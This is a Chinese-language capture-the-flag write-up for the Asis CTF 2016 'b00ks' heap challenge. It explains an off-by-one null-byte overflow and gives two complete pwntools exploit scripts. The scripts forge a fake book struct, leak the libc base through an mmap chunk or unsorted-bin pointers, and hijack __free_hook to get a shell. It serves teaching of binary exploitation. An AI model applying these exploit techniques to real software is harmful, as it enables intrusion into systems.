收获

  • 利用 off-by-one 漏洞修改指向堆的指针,并在修改后的指针指向的堆地址处伪造一个堆块

  • 利用 mmap 分配的内存与 libc 之前存在固定的偏移的特点,推算出 libc 的基地址

  • 由于 unsorted bin 是双向链表,利用第一个 unsorted binbk 指针指向 libc 中的地址的特点,根据偏移得到 __malloc_hook 真实地址,进而通过 __malloc_hook 的 libc 偏移计算 libc 基地址

  • 通过劫持 __free_hooksystem() 或 one_gadget 来获得 shell


【Asis CTF 2016】b00ks


思路一(mmap)

本地环境:Glibc 2.23

查看保护:

【Asis CTF 2016】b00ks1.png

IDA 下分析:

【Asis CTF 2016】b00ks2.png

一个菜单题,根据功能选项,将相应功能的函数重命名

Menu() 菜单:

【Asis CTF 2016】b00ks3.png

Create() 创建:

【Asis CTF 2016】b00ks5.png

Delete() 删除:

【Asis CTF 2016】b00ks6.png

Edit() 编辑:

【Asis CTF 2016】b00ks7.png

Print() 打印:

【Asis CTF 2016】b00ks8.png

Change() 修改作者名:

【Asis CTF 2016】b00ks9.png

程序在刚开始执行 Menu() 显示菜单之前,会在 Change() 中先让输入作者名 author name

【Asis CTF 2016】b00ks4.png

这里的输入由自定义的 my_read() 实现:

【Asis CTF 2016】b00ks10.png

仔细观察 my_read() 可以发现,这里是存在漏洞的:如果我们输入的字符串长度 a2 = 1,实际上会读入 2 个字符,第二个字符 '\n' 会被赋值为 '\x00'

作者名 author name 写入的地址位于 BSS 段的 unk_202040

【Asis CTF 2016】b00ks11.png

【Asis CTF 2016】b00ks12.png

Create() 中创建书时,如果已存在的书的数量 v2 < 20(未存满),会通过 malloc 分配 0x20 的空间来存放书的结构

【Asis CTF 2016】b00ks13.png

并将 malloc 分配的空间首地址存储在 off_202010 + v2 的地方,可以看到其存放在 BSS 段的 unk_202060 处:

【Asis CTF 2016】b00ks14.png

【Asis CTF 2016】b00ks16.png

分析可知,书的结构包括:

  • 书的序号 book_id
  • 书名 name
  • 书的描述 description
  • 书的描述的大小 size

为了方便理解,用图表示出来就是这样:

【Asis CTF 2016】b00ks15.png

上图中,橙色区域存储作者名 author name,绿色区域存储的是书的数组 book[]

有多少本书就有多少个 book[] 数组元素,book[] 的每一个数组元素都是一个指针,指向堆中的一个结构体

这个结构体有四个属性:书的序号 book_id、书名 name、书的描述 description 和书的描述的大小 size

由于这里 unk_202040unk_202060 刚好相距 0x20,因此 my_read(off_202018, 32LL) 处存在 off-by-one 漏洞,刚好溢出 1 字节

为了泄露出堆中的地址,可以借助存储在 unk_202060 中的指针,而在 Print() 中会将 unk_202040 处存储的 author name 通过 %s 打印出来:

【Asis CTF 2016】b00ks17.png

因此,我们首先向 unk_202040 写入 0x20 个字节,将空间全部填满,这样就不存在 '\x00' 截断,由于 my_read() 还会多写入 1 字节 '\x00' 覆盖 book[0] 的最低位,但是不影响,因为当我们创建 book[0] 的时候多出的那 1 字节 '\x00' 又会被 book[0] 存储的指针给覆盖掉

当我们创建好 book[0] 后,此时 unk_202040book[0] 是直接相连的,中间不存在 '\x00' 截断,因此我们只需要调用一次 Print() 就可以泄露出 book[0] 存储的指针

【Asis CTF 2016】b00ks18.png

【Asis CTF 2016】b00ks19.png

创建两本书进行测试,发现两个 book[] 存储的指针之间的偏移是 0x30:

【Asis CTF 2016】b00ks21.png

堆中的存储结构如下:

【Asis CTF 2016】b00ks22.png

因此根据 book[0] 存储的指针我们可以推算出 book[1] 存储的指针,即:book[1] = book[0] + 0x30

由于这个题开启了 PIE,我们暂时无法泄露 libc 的基地址

但发现 Create() 创建书的时候,大小是由我们控制的:

【Asis CTF 2016】b00ks20.png

因此我们可以让堆以 mmap 模式进行拓展,即:设定一个很大的尺寸(大于等于 128KB),创建一个 book[1]

因为 brk 是直接拓展原来的堆,而 mmap 会单独映射一块内存

mmap 分配的内存与 libc 之前存在固定的偏移,因此可以推算出 libc 的基地址

由于我们还可以再次使用 Change() 功能来写入作者名 author name,此时如果写入 0x20 字节,则溢出的一字节 '\x00' 会直接将已有的 book[0] 存储的指针最低位覆盖掉,从而改变了 book[0] 指向堆中的地址

可以看到,原本 book[0] 存储的指针最低位为 '\x60',此时已被覆盖为 '\x00'

【Asis CTF 2016】b00ks25.png

进而我们可以通过 Edit() 功能修改 book[0] -> description 的内容来伪造 book[0] 的结构体,此时伪造的 book[0] -> namebook[0] -> description 都可以由我们来定义

注意:

由于我们覆盖了原本 book[0] 存储的指针最低位为 '\x00',因此伪造的 book[0] 结构体首地址应该在地址最低位为 '\x00' 的地方,偏移为 0x40,因此先填充 0x40 的垃圾数据

伪造前:

【Asis CTF 2016】b00ks23.png

伪造后:

【Asis CTF 2016】b00ks24.png

这里我们将伪造的 book[0] -> namebook[0] -> description 都设置为 book[1]book[1] -> name 的地址

因为此时我们只要能泄露 book[1] -> name 就可以通过 book[1] -> name 与 libc 基地址的偏移来计算出 libc 基地址了

通过 GDB 得到 book[1] -> name 与 libc 基地址的偏移为 0x5b0010

【Asis CTF 2016】b00ks26.png

利用 (book[1] -> name) - 0x5b0010 泄露出 libc 基地址后,直接劫持 __free_hooksystem() 地址,然后通过 Delete() 功能调用 free() 实现 system(/bin/sh)

也可以直接劫持 __free_hook 为 one_gadget 来 getshell


脚本一

from pwn import *

# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1

elf = ELF("./b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

if content == 1:
	# 将本地的 Linux 程序启动为进程 io
    io = process("./b00ks")


# 附加 gdb 调试
def debug(cmd=""):
    if content == 1:   # 只有本地才可调试,远程无法调试
        gdb.attach(io, cmd)
        pause()

def Create(name_size, name, des_size, des):
    io.recvuntil("> ")
    io.sendline("1")
    io.recvuntil(": ")
    io.sendline(str(name_size))
    io.recvuntil(": ")
    io.sendline(name)
    io.recvuntil(": ")
    io.sendline(str(des_size))
    io.recvuntil(": ")
    io.sendline(des)

def Delete(book_id):
    io.recvuntil("> ")
    io.sendline("2")
    io.recvuntil(": ")
    io.sendline(str(book_id))

def Edit(book_id, new_des):
    io.recvuntil("> ")
    io.sendline("3")
    io.recvuntil(": ")
    io.sendline(str(book_id))
    io.recvuntil(": ")
    io.sendline(new_des)

def Print():
    io.recvuntil("> ")
    io.sendline("4")

def Change(name):
    io.recvuntil("> ")
    io.sendline("5")
    io.recvuntil(": ")
    io.sendline(name)


io.recvuntil(b'Enter author name: ')
payload = b'a' * 0x20
io.sendline(payload)   # 将 author name 的空间填充满,使其不存在 '\x00'

Create(0x90, b'bbbb', 0x90, b'cccc')

Print()
io.recvuntil(b'a' * 0x20)
book1_addr = u64(io.recv(6).ljust(8, b'\x00'))
log.success('book1_addr -> ' + hex(book1_addr))
book2_addr = book1_addr + 0x30   # 根据调试可知,两个堆块之间的偏移为 0x30
log.success('book2_addr -> ' + hex(book2_addr))

Create(0x21000, b'cccc', 0x21000, b'dddd')   # 以 mmap 方式创建堆块

payload = b'a' * 0x40 + p64(1) + p64(book2_addr + 8) + p64(book2_addr + 8) + p64(0x1000)
Edit(1, payload)   # 伪造 book[0]

# debug()
Change(b'a' * 0x20)   # 覆盖 book[0] 的最低位,改变其指向的地址为伪造的 book[0]
Print()
io.recvuntil('Name: ')
book2_name_addr = u64(io.recv(6).ljust(8, b'\x00'))   # 泄露出 book[1] -> name
log.success('book2_name_addr -> ' + hex(book2_name_addr))
libc_base = book2_name_addr - 0x5b0010   # 根据偏移计算 libc 基地址
log.success('libc_base -> ' + hex(libc_base))

free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
one_gadget_addr = libc_base + 0x4527a   # 0x45226 0x4527a 0xf03a4 0xf1247

log.success('free_hook_addr -> ' + hex(free_hook_addr))
log.success('system_addr -> ' + hex(system_addr))
log.success('bin_sh_addr -> ' + hex(bin_sh_addr))
log.success('one_gadget_addr -> ' + hex(one_gadget_addr))

# system(/bin/sh) 和 one_gadget 选其一即可
Edit(1, p64(bin_sh_addr) + p64(free_hook_addr))
Edit(2, p64(system_addr))

# Edit(1, p64(0) + p64(free_hook_addr))
# Edit(2, p64(one_gadget_addr))

Delete(2)

io.interactive()

结果一

【Asis CTF 2016】b00ks27.png


思路二(unsorted bin)

本地环境:Glibc 2.23

根据前面的分析我们知道,关键在于如何泄露 libc 的基地址

在思路一中,通过 mmap 方式分配的堆地址与 libc 基地址存在固定的偏移,根据这个固定偏移来计算 libc 基地址

另一种方法就是利用 unsorted bin 的特点来泄露 libc 基地址

因为 unsorted bin 是双向链表,所以第一个 unsorted binbk 也就指向了 bin[1]

如果我们能够打印出第一个 unsorted binbk,也就相当于得到了 bins[1] 地址,而 bins[1] 在 libc 中,也就可以根据偏移计算 libc 基地址

而关键在于:得到一个 unsorted bin

我们知道,当 free 的 chunk 大小 >= 144 字节时,chunk 会放到 unsorted bin

因此,我们需要先创建第二本书,使其 chunk 的大小在 free 的时候大于 144 字节,这本书在后面是需要被 free 形成 unsorted bin 的,所以我们再创建第三本书,写入 '/bin/sh'

创建三本书后如下:

【Asis CTF 2016】b00ks30.png

【Asis CTF 2016】b00ks28.png

【Asis CTF 2016】b00ks29.png

接着还是通过 Edit() 功能伪造一个 book[0]

  • 这次伪造的 book[0] -> name 指向即将 free 后形成的 unsorted binbk 地址(注意:图中和脚本中实际指向的是 fd 地址,但由于这里只存在一个 unsorted bin,因此 fdbk 指向同一地址,故不影响

  • 为了便于劫持 __free_hooksystem(),我们将伪造的 book[0] -> description 指向 book[2]description

    这样我们通过 Edit(1, p64(free_hook_addr) + p64(0x10)) 修改 book[0]description 的时候,就可以将 book[2] -> description 修改为 __free_hook

    然后再通过 Edit(3, p64(system_addr)) 修改 book[2]description 的时候,就可以将 __free_hook 修改为 system()

【Asis CTF 2016】b00ks31.png

伪造好 book[0] 后,通过 Change() 功能填充 0x20 字节,溢出 1 字节 '\x00' 覆盖 book[0] 指针的最低位,使其指向我们伪造的 book[0]

然后 freebook[1] 后形成 unsorted bin

【Asis CTF 2016】b00ks32.png

【Asis CTF 2016】b00ks33.png

可以看到 bkfd 指向的是同一个地址,打印其中之一即可

通过 Print() 功能在 Name 处打印出了 fdbk 指针

【Asis CTF 2016】b00ks34.png

通过 GDB 可以看到 fdbk 指针指向的地址为 main_arena + 88

【Asis CTF 2016】b00ks35.png

同时 main_arena__malloc_hook 相距 0x10

因此根据偏移可以获得 __malloc_hook 的真实地址,而 __malloc_hook 是 libc 中的函数,根据 libc 偏移即可获得 libc 基地址

最后,利用前面提到的两次 Edit() 劫持 __free_hooksystem()

  1. 第一次 Edit()book[2] -> description 修改为 __free_hook

【Asis CTF 2016】b00ks36.png

  1. 第二次 Edit()__free_hook 修改为 system()

【Asis CTF 2016】b00ks37.png

然后通过 Delete() 调用 free 执行 system(/bin/sh)

【Asis CTF 2016】b00ks38.png


脚本二

from pwn import *

# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1

elf = ELF("./b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

if content == 1:
	# 将本地的 Linux 程序启动为进程 io
    io = process("./b00ks")


# 附加 gdb 调试
def debug(cmd=""):
    if content == 1:   # 只有本地才可调试,远程无法调试
        gdb.attach(io, cmd)
        pause()

def Create(name_size, name, des_size, des):
    io.recvuntil("> ")
    io.sendline("1")
    io.recvuntil(": ")
    io.sendline(str(name_size))
    io.recvuntil(": ")
    io.sendline(name)
    io.recvuntil(": ")
    io.sendline(str(des_size))
    io.recvuntil(": ")
    io.sendline(des)

def Delete(book_id):
    io.recvuntil("> ")
    io.sendline("2")
    io.recvuntil(": ")
    io.sendline(str(book_id))

def Edit(book_id, new_des):
    io.recvuntil("> ")
    io.sendline("3")
    io.recvuntil(": ")
    io.sendline(str(book_id))
    io.recvuntil(": ")
    io.sendline(new_des)

def Print():
    io.recvuntil("> ")
    io.sendline("4")

def Change(name):
    io.recvuntil("> ")
    io.sendline("5")
    io.recvuntil(": ")
    io.sendline(name)


io.recvuntil(b'Enter author name: ')
payload = b'a' * 0x20
io.sendline(payload)

Create(0x90, b'bbbb', 0x90, b'cccc')

Print()
io.recvuntil(b'a' * 0x20)
book1_addr = u64(io.recv(6).ljust(8, b'\x00'))
log.success('book1_addr -> ' + hex(book1_addr))
book2_addr = book1_addr + 0x30
log.success('book2_addr -> ' + hex(book2_addr))

Create(0x80, b'cccc', 0x20, b'dddd')   # 为 unsorted bin 做准备
Create(0x20, b'/bin/sh\x00', 0x20, b'ffff')   # 存放 '/bin/sh'

payload = b'a' * 0x40 + p64(1) + p64(book2_addr) + p64(book2_addr + 0x160) + p64(0x20)
Edit(1, payload)   # 伪造 book[0]

Change(b'a' * 0x20)   # 覆盖 book[0] 的最低位,改变其指向的地址为伪造的 book[0]

Delete(2)   # 形成 unsorted bin

Print()   # 泄露 unsorted bin 的 bk 指针
io.recvuntil('Name: ')
main_arena_88 = u64(io.recv(6).ljust(8, b'\x00'))
main_arena_addr = main_arena_88 - 88
malloc_hook_addr = main_arena_addr - 0x10   # 根据偏移得到 __malloc_hook 真实地址
libc_base = malloc_hook_addr - libc.symbols['__malloc_hook']   # 得到 libc 基地址
log.success('main_arena_88 -> ' + hex(main_arena_88))
log.success('main_arena_addr -> ' + hex(main_arena_addr))
log.success('malloc_hook_addr -> ' + hex(malloc_hook_addr))
log.success('libc_base -> ' + hex(libc_base))

free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
one_gadget_addr = libc_base + 0x4527a   # 0x45226 0x4527a 0xf03a4 0xf1247
log.success('free_hook_addr -> ' + hex(free_hook_addr))
log.success('system_addr -> ' + hex(system_addr))
log.success('bin_sh_addr -> ' + hex(bin_sh_addr))
log.success('one_gadget_addr -> ' + hex(one_gadget_addr))

Edit(1, p64(free_hook_addr) + p64(0x10))   # 将 book3 -> description 修改为 __free_hook
Edit(3, p64(system_addr))   # 将 __free_hook 修改为 system()
# Edit(3, p64(one_gadget_addr))   # system(/bin/sh) 与 one_gadget 选其一即可

Delete(3)

io.interactive()

结果二

【Asis CTF 2016】b00ks39.png